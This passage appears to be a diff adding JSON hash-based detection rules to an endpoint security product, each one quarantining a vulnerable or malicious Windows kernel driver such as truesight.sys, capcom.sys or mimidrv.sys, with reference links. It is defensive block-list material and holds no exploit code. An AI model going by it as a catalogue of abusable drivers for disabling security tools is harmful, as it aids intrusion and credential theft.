+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978493Z",
+  "creation_date": "2026-03-23T11:45:29.978495Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ce44d1643bc4d87e5029a4927613035bbd96b4e45a2400aed987396115791f7",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c62b1b04-67f9-5b6a-9cc4-58bbee85d03a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826561Z",
+  "creation_date": "2026-03-23T11:45:31.826563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24d83f41ff581dc60a415e120a116d5eff990ef1b69aa9fe789fb3267a426b0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c646f6d8-0f0b-5918-a915-84669bdf6b85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622332Z",
+  "creation_date": "2026-03-23T11:45:29.622333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac63c26ca43701dddaa7fb1aea535d42190f88752900a03040fd5aaa24991e25",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c64967b4-9f69-5453-93e3-4ab401019d71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620727Z",
+  "creation_date": "2026-03-23T11:45:29.620729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a56c2a2425eb3a4260cc7fc5c8d7bed7a3b4cd2af256185f24471c668853aee8",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6540105-56a5-53b6-bf42-786684afeb95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822159Z",
+  "creation_date": "2026-03-23T11:45:31.822162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822170Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4d236ed7c038b4e10fbe8450ef16a742e8d676a3ace46b277d362afa353f5b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c65ad857-a81f-5b4b-9000-16b474a59930",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972125Z",
+  "creation_date": "2026-03-23T11:45:29.972127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972132Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de3597ae7196ca8c0750dce296a8a4f58893774f764455a125464766fcc9b3b5",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6902eef-c776-5c7c-806c-8815ef29c1aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819620Z",
+  "creation_date": "2026-03-23T11:45:30.819622Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819627Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a47555d04b375f844073fdcc71e5ccaa1bbb201e24dcdebe2399e055e15c849f",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c694bd3b-3829-5964-91c9-5ce270c0c7c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835463Z",
+  "creation_date": "2026-03-23T11:45:30.835466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac258fa5a7211a4785242948f9055eca6e7177ccbd7b8d109c18d09d8db1e1d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6a67b3b-8d8e-57df-a827-271916379d95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606209Z",
+  "creation_date": "2026-03-23T11:45:29.606211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606216Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d5ebd0f4585ec20a5fe3c5276df13ece5a2645d3d6f70cedcda979bd1248fc2",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6aa65a4-cc68-5b6e-aae7-8c80a29eb84b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490802Z",
+  "creation_date": "2026-03-23T11:45:31.490805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d0ad33174b9749167b5f5433429c01e2628772e283913602ac0b912b12bd54f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6b1f2eb-f20d-5c37-b0e1-91e329f78a62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479350Z",
+  "creation_date": "2026-03-23T11:45:30.479352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bb0418dcfb3fa15f01220dc039f2c9ad4dc12eb7f0396deaa9b2e81cb5e77e9",
+  "comment": "Vulnerable Kernel Driver (aka AsrAutoChkUpdDrv_1_0_32.sys) [https://www.loldrivers.io/drivers/02e4a30f-8aa8-4ff0-8e02-1bff1d0f088f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6b9bc7a-20ac-52cb-8548-ec2cb9a2ab9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829663Z",
+  "creation_date": "2026-03-23T11:45:31.829665Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829670Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0a7160d94f89e3d8e05e60e0d83effe9cf7eb4ec57332262a9bcbe8d2a28c03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6e3f4e4-982b-5f84-b191-18cdf6292cc1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466836Z",
+  "creation_date": "2026-03-23T11:45:30.466839Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "773b4a1efb9932dd5116c93d06681990759343dfe13c0858d09245bc610d5894",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6ea4fde-ed4a-5c04-95a1-9f10bf16b514",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622122Z",
+  "creation_date": "2026-03-23T11:45:29.622124Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "faa08cb609a5b7be6bfdb61f1e4a5e8adf2f5a1d2492f262483df7326934f5d4",
+  "comment": "Vulnerable Kernel Driver (aka capcom.sys) [https://www.loldrivers.io/drivers/b51c441a-12c7-407d-9517-559cc0030cf6/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6fce826-ca27-5c3f-b46a-7cd1694c5e80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144305Z",
+  "creation_date": "2026-03-23T11:45:31.144307Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144312Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "614885fc4266dd1f9c226122b53cb75091160eadad62fe49847a700402d3d2e9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c6fe2be1-565d-5e3b-9ae8-fb49b1669d71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980550Z",
+  "creation_date": "2026-03-23T11:45:29.980552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9e0f35da47fe91d887a28a0670d8e79ceef7c61ff6d9af3d0568a9737fe0673",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c70086a3-55d7-5b4c-8f98-6caca139a5ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458372Z",
+  "creation_date": "2026-03-23T11:45:30.458375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d640783395631c1b4878ac7945f227c4c4f64fe26dd30cbed755dc440931e85",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c707ff43-a1f1-5727-b9ed-a8bffbd035ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483436Z",
+  "creation_date": "2026-03-23T11:45:31.483440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483450Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d05196b08b66c4bf94dd48b6ff4f5702af5ce08c9e8cb40d7003a5be36636adb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c708acf4-da75-5da9-a438-6f36920f4302",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455669Z",
+  "creation_date": "2026-03-23T11:45:30.455673Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ac08a6035cfcafdac712d7c3cf2eef6e10258f14cee6e80e1ef2f71f5045173",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c71cd79f-8bd4-5d3d-a6cf-c9f3c6df82ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466495Z",
+  "creation_date": "2026-03-23T11:45:30.466498Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95e5b5500e63c31c6561161a82f7f9373f99b5b1f54b018c4866df4f2a879167",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7282470-80ce-5051-a8bb-0c508242200e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826262Z",
+  "creation_date": "2026-03-23T11:45:30.826265Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826270Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c360ca22ac7cc6d6d307d7bfb8179021942d5d80b32536cf644753a4b3201139",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c729f119-7a95-5ae4-910b-5a47a3c965b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160685Z",
+  "creation_date": "2026-03-23T11:45:31.160687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04d1544916acf49af24dde775f6a733f9e6e6b9ecc15205429c9e651e5825ee6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c73163f2-a977-548c-8268-6feed478acc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
